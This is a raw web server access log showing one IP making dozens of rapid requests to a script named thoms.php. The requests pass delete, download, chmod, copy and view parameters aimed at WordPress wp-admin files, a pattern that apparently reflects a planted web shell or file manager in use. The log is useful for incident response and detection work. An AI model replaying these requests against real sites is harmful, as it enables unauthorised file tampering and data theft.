45.135.193.11 - - [11/Sep/2026:23:40:08 -0400] "GET /thoms.php?del=authorize-application.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28927 "http://163.245.207.76:443/thoms.php?del=authorize-application.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:08 -0400] "GET /thoms.php?dl=import.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28923 "http://163.245.207.76:443/thoms.php?dl=import.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:08 -0400] "GET /thoms.php?chmod=options-general.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=options-general.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:09 -0400] "GET /thoms.php?dl=plugins.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28926 "http://163.245.207.76:443/thoms.php?dl=plugins.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:09 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=admin-post.php HTTP/1.1" 200 12656 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=admin-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:09 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=erase-personal-data.php HTTP/1.1" 200 15020 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=erase-personal-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:09 -0400] "GET /thoms.php?dl=admin.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28924 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:09 -0400] "GET /thoms.php?dl=freedoms.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28927 "http://163.245.207.76:443/thoms.php?dl=freedoms.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:09 -0400] "GET /thoms.php?chmod=ms-users.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=ms-users.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:09 -0400] "GET /thoms.php?del=install-helper.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28921 "http://163.245.207.76:443/thoms.php?del=install-helper.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:09 -0400] "GET /thoms.php?chmod=options-connectors.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=options-connectors.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:09 -0400] "GET /bestjudy.com.tw/wp-admin/async-upload.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:10 -0400] "GET /thoms.php?chmod=options-media.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=options-media.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:10 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=privacy-policy-guide.php HTTP/1.1" 200 13550 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=privacy-policy-guide.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:10 -0400] "GET /thoms.php?del=options-media.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28924 "http://163.245.207.76:443/thoms.php?del=options-media.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:10 -0400] "GET /bestjudy.com.tw/wp-admin/theme-install.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:10 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=link-manager.php HTTP/1.1" 200 13917 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=link-manager.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:10 -0400] "GET /thoms.php?del=contribute.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28925 "http://163.245.207.76:443/thoms.php?del=contribute.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:10 -0400] "GET /thoms.php?dl=ms-edit.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28924 "http://163.245.207.76:443/thoms.php?dl=ms-edit.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:11 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=index.php HTTP/1.1" 200 15226 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:11 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=post-new.php HTTP/1.1" 200 13041 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=post-new.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:11 -0400] "GET /thoms.php?del=css&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28927 "http://163.245.207.76:443/thoms.php?del=css&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:11 -0400] "GET /bestjudy.com.tw/wp-admin/maint/ HTTP/1.1" 200 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:11 -0400] "GET /thoms.php?dl=privacy-policy-guide.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28926 "http://163.245.207.76:443/thoms.php?dl=privacy-policy-guide.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:11 -0400] "GET /bestjudy.com.tw/wp-admin/edit-tag-form.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:11 -0400] "GET /thoms.php?del=options-head.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28927 "http://163.245.207.76:443/thoms.php?del=options-head.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:11 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=edit-form-comment.php HTTP/1.1" 200 16919 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=edit-form-comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:11 -0400] "GET /bestjudy.com.tw/wp-admin/index.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:11 -0400] "GET /thoms.php?chmod=install-helper.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=install-helper.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:11 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fmy-sites.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fmy-sites.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:11 -0400] "GET /bestjudy.com.tw/wp-admin/my-sites.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:11 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fcustom-background.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fcustom-background.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:11 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=moderation.php HTTP/1.1" 200 12084 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=moderation.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:11 -0400] "GET /thoms.php?del=user&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28926 "http://163.245.207.76:443/thoms.php?del=user&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:12 -0400] "GET /bestjudy.com.tw/wp-admin/nav-menus.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:12 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=ms-upgrade-network.php HTTP/1.1" 200 12046 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=ms-upgrade-network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:12 -0400] "GET /thoms.php?del=revision.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28925 "http://163.245.207.76:443/thoms.php?del=revision.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:12 -0400] "GET /thoms.php?dl=tools.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28925 "http://163.245.207.76:443/thoms.php?dl=tools.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:12 -0400] "GET /thoms.php?chmod=update-core.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=update-core.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:12 -0400] "GET /thoms.php?chmod=network&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?chmod=network&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:12 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fedit-comments.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fedit-comments.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:12 -0400] "GET /thoms.php?dl=async-upload.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28925 "http://163.245.207.76:443/thoms.php?dl=async-upload.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:13 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=edit-tags.php HTTP/1.1" 200 19187 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=edit-tags.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:13 -0400] "GET /thoms.php?del=post.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28925 "http://163.245.207.76:443/thoms.php?del=post.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:13 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=about.php HTTP/1.1" 200 17560 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=about.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:13 -0400] "GET /bestjudy.com.tw/wp-admin/edit-form-blocks.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:13 -0400] "GET /thoms.php?del=upload.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28925 "http://163.245.207.76:443/thoms.php?del=upload.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:13 -0400] "GET /thoms.php?dl=admin-ajax.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28925 "http://163.245.207.76:443/thoms.php?dl=admin-ajax.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:13 -0400] "GET /bestjudy.com.tw/wp-admin/ms-users.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:13 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Foptions-privacy.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Foptions-privacy.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:13 -0400] "GET /thoms.php?dl=update-core.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28925 "http://163.245.207.76:443/thoms.php?dl=update-core.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:14 -0400] "GET /thoms.php?chmod=users.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=users.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:14 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Flink-parse-opml.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Flink-parse-opml.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:14 -0400] "GET /thoms.php?del=edit-tags.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28928 "http://163.245.207.76:443/thoms.php?del=edit-tags.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:14 -0400] "GET /thoms.php?dl=install.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28925 "http://163.245.207.76:443/thoms.php?dl=install.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:14 -0400] "GET /bestjudy.com.tw/wp-admin/ms-themes.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:14 -0400] "GET /thoms.php?chmod=my-sites.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=my-sites.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:14 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Ftheme-editor.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Ftheme-editor.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:15 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=theme-install.php HTTP/1.1" 200 19285 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=theme-install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:15 -0400] "GET /bestjudy.com.tw/wp-admin/options-media.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:15 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=media.php HTTP/1.1" 200 12322 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=media.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:15 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fms-admin.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fms-admin.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:15 -0400] "GET /thoms.php?del=setup-config.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28925 "http://163.245.207.76:443/thoms.php?del=setup-config.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:16 -0400] "GET /thoms.php?chmod=site-health-info.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=site-health-info.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:16 -0400] "GET /thoms.php?dl=setup-config.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28924 "http://163.245.207.76:443/thoms.php?dl=setup-config.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:16 -0400] "GET /thoms.php?dl=site-health.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28926 "http://163.245.207.76:443/thoms.php?dl=site-health.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:16 -0400] "GET /thoms.php?dl=customize.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28924 "http://163.245.207.76:443/thoms.php?dl=customize.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:16 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Finstall.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Finstall.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:16 -0400] "GET /thoms.php?chmod=load-styles.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=load-styles.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:16 -0400] "GET /bestjudy.com.tw/wp-admin/options-writing.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:16 -0400] "GET /thoms.php?dl=ms-users.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28925 "http://163.245.207.76:443/thoms.php?dl=ms-users.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:16 -0400] "GET /thoms.php?dl=authorize-application.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28922 "http://163.245.207.76:443/thoms.php?dl=authorize-application.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
